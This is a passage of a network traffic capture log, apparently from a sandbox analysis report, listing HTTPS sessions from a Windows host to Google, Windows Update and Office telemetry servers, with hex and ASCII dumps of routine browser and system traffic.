Sun, 17 Nov 2024 23:27:33 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-17 23:27:33 UTC	360	IN	Data Raw: 32 32 32 38 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 32 64 20 67 62 5f 51 65 20 67 62 5f 71 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 2228)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-11-17 23:27:33 UTC	1378	IN	Data Raw: 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 72 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 33 64 5c 22 30 20 30 20 32 34 20 32 34 5c 22 5c 75 30 30 33 65 5c 75 30 Data Ascii: 3e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u0
2024-11-17 23:27:33 UTC	1378	IN	Data Raw: 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 75 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 61 64 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 Data Ascii: u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_wd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_ud\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003cdiv class\u003d\"gb_ad\"\u003e \u003c\/div\u003e\u003c\/div\u003e\u003c\/div\u0
2024-11-17 23:27:33 UTC	1378	IN	Data Raw: 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 73 76 67 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 38 2d 33 34 31 71 31 30 2d 31 34 20 31 35 2d 33 31 74 35 2d 33 34 76 2d Data Ascii: index\u003d\"0\"\u003e \u003csvg class\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l228-341q10-14 15-31t5-34v-
2024-11-17 23:27:33 UTC	1378	IN	Data Raw: 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 32 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d Data Ascii: ,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM12,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -
2024-11-17 23:27:33 UTC	1378	IN	Data Raw: 31 22 2c 22 6c 65 66 74 5f 70 72 6f 64 75 63 74 5f 63 6f 6e 74 72 6f 6c 2d 6c 61 62 65 6c 32 22 5d 2c 22 6d 65 6e 75 5f 70 6c 61 63 65 68 6f 6c 64 65 72 5f 6c 61 62 65 6c 22 3a 22 6d 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 32 34 36 2c 33 37 30 31 33 38 34 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 72 69 70 74 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 74 68 69 Data Ascii: 1","left_product_control-label2"],"menu_placeholder_label":"menu-content","metadata":{"bar_height":60,"experiment_id":[3700246,3701384],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_script_wrapped_value":"thi
2024-11-17 23:27:33 UTC	1378	IN	Data Raw: 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 63 6f 6e 73 74 20 62 5c 75 30 30 33 64 61 2e 6c 65 6e 67 74 68 3b 69 66 28 62 5c 75 30 30 33 65 30 29 7b 63 6f 6e 73 74 20 63 5c 75 30 30 33 64 41 72 72 61 79 28 62 29 3b 66 6f 72 28 6c 65 74 20 64 5c 75 30 30 33 64 30 3b 64 5c 75 30 30 33 63 62 3b 64 2b 2b 29 63 5b 64 5d 5c 75 30 30 33 64 61 5b 64 5d 3b 72 65 74 75 72 6e 20 63 7d 72 65 74 75 72 6e 5b 5d 7d 3b 4c 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 4b 64 28 62 5c 75 30 30 33 64 5c 75 30 30 33 65 62 2e 73 75 62 73 74 72 28 30 2c 61 2e 6c 65 6e 67 74 68 2b 31 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 61 2b 5c 22 3a 5c 22 29 7d 3b 5f 2e 4d 64 5c 75 Data Ascii: 03dfunction(a){const b\u003da.length;if(b\u003e0){const c\u003dArray(b);for(let d\u003d0;d\u003cb;d++)c[d]\u003da[d];return c}return[]};Ld\u003dfunction(a){return new _.Kd(b\u003d\u003eb.substr(0,a.length+1).toLowerCase()\u003d\u003d\u003da+\":\")};_.Md\u
2024-11-17 23:27:33 UTC	124	IN	Data Raw: 61 74 65 53 63 72 69 70 74 55 52 4c 28 61 29 3a 61 29 7d 3b 5f 2e 24 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 59 64 29 72 65 74 75 72 6e 20 61 2e 69 3b 74 68 72 6f 77 20 45 72 72 6f 72 28 5c 22 46 5c 22 29 3b 7d 3b 5f 2e 62 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 65 0d 0a Data Ascii: ateScriptURL(a):a)};_.$d\u003dfunction(a){if(a instanceof _.Yd)return a.i;throw Error(\"F\");};_.be\u003dfunction(a){if(ae
2024-11-17 23:27:33 UTC	394	IN	Data Raw: 31 38 33 0d 0a 2e 74 65 73 74 28 61 29 29 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 63 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 4e 64 29 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 4e 64 29 61 5c 75 30 30 33 64 61 2e 69 3b 65 6c 73 65 20 74 68 72 6f 77 20 45 72 72 6f 72 28 5c 22 46 5c 22 29 3b 65 6c 73 65 20 61 5c 75 30 30 33 64 5f 2e 62 65 28 61 29 3b 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 64 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 29 7b 6c 65 74 20 63 2c 64 3b 62 5c 75 30 30 33 64 28 64 5c 75 30 30 33 64 28 63 5c 75 30 30 33 64 5c 22 64 6f 63 75 6d 65 6e 74 5c 22 69 6e 20 62 3f 62 2e 64 6f 63 75 6d 65 6e 74 3a 62 29 2e 71 75 Data Ascii: 183.test(a))return a};_.ce\u003dfunction(a){if(a instanceof _.Nd)if(a instanceof _.Nd)a\u003da.i;else throw Error(\"F\");else a\u003d_.be(a);return a};_.de\u003dfunction(a,b\u003ddocument){let c,d;b\u003d(d\u003d(c\u003d\"document\"in b?b.document:b).qu
2024-11-17 23:27:33 UTC	1378	IN	Data Raw: 38 30 30 30 0d 0a 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 5c 75 30 30 33 64 5f 2e 50 61 28 61 29 3b 72 65 74 75 72 6e 20 62 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 61 72 72 61 79 5c 22 7c 7c 62 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 6f 62 6a 65 63 74 5c 22 5c 75 30 30 32 36 5c 75 30 30 32 36 74 79 70 65 6f 66 20 61 2e 6c 65 6e 67 74 68 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 6e 75 6d 62 65 72 5c 22 7d 3b 5f 2e 66 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 72 65 74 75 72 6e 20 5f 2e 75 62 28 61 2c 62 2c 63 2c 21 31 29 21 5c 75 30 30 33 64 5c 75 30 30 33 64 76 6f 69 64 20 30 7d 3b 5f 2e 67 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 5f 2e 54 64 28 5f 2e Data Ascii: 8000e\u003dfunction(a){var b\u003d_.Pa(a);return b\u003d\u003d\"array\"\|\|b\u003d\u003d\"object\"\u0026\u0026typeof a.length\u003d\u003d\"number\"};_.fe\u003dfunction(a,b,c){return _.ub(a,b,c,!1)!\u003d\u003dvoid 0};_.ge\u003dfunction(a,b){return _.Td(_.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.6	49795	216.58.206.68	443	7220	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:33 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-17 23:27:33 UTC	933	IN	HTTP/1.1 200 OK Version: 696014727 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Sun, 17 Nov 2024 23:27:33 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-17 23:27:33 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-11-17 23:27:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.6	49802	20.12.23.50	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:33 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=S7tRaMZdES+8CC9&MD=GkZEMPXk HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-17 23:27:34 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: dc51a6a0-884c-4994-b4f7-6306eb730942 MS-RequestId: b5d4e6c2-9da9-4347-87b3-f1d315fdb4f1 MS-CV: voFlfJX9DkmL90lt.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Sun, 17 Nov 2024 23:27:33 GMT Connection: close Content-Length: 24490
2024-11-17 23:27:34 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-17 23:27:34 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.6	49803	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:33 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 23:27:34 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:34 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: bcf92b81-701e-000d-51b1-376de3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T232734Z-164f84587bfsgfx9hC1DFWw1as00000004s000000000r8e7 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 23:27:34 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.6	49805	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:33 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 23:27:34 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:34 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: dd43ea10-201e-0003-39d2-37f85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T232734Z-16547b76f7fbkfmzhC1DFWm9tw00000004kg00000000f9xn x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 23:27:34 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.6	49804	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:34 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 23:27:34 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:34 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: 152871bd-d01e-002b-2382-3725fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T232734Z-1866b5c5fbbg9tvxhC1DFWy9mg00000000w0000000005mtz x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 23:27:34 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.6	49806	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:34 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
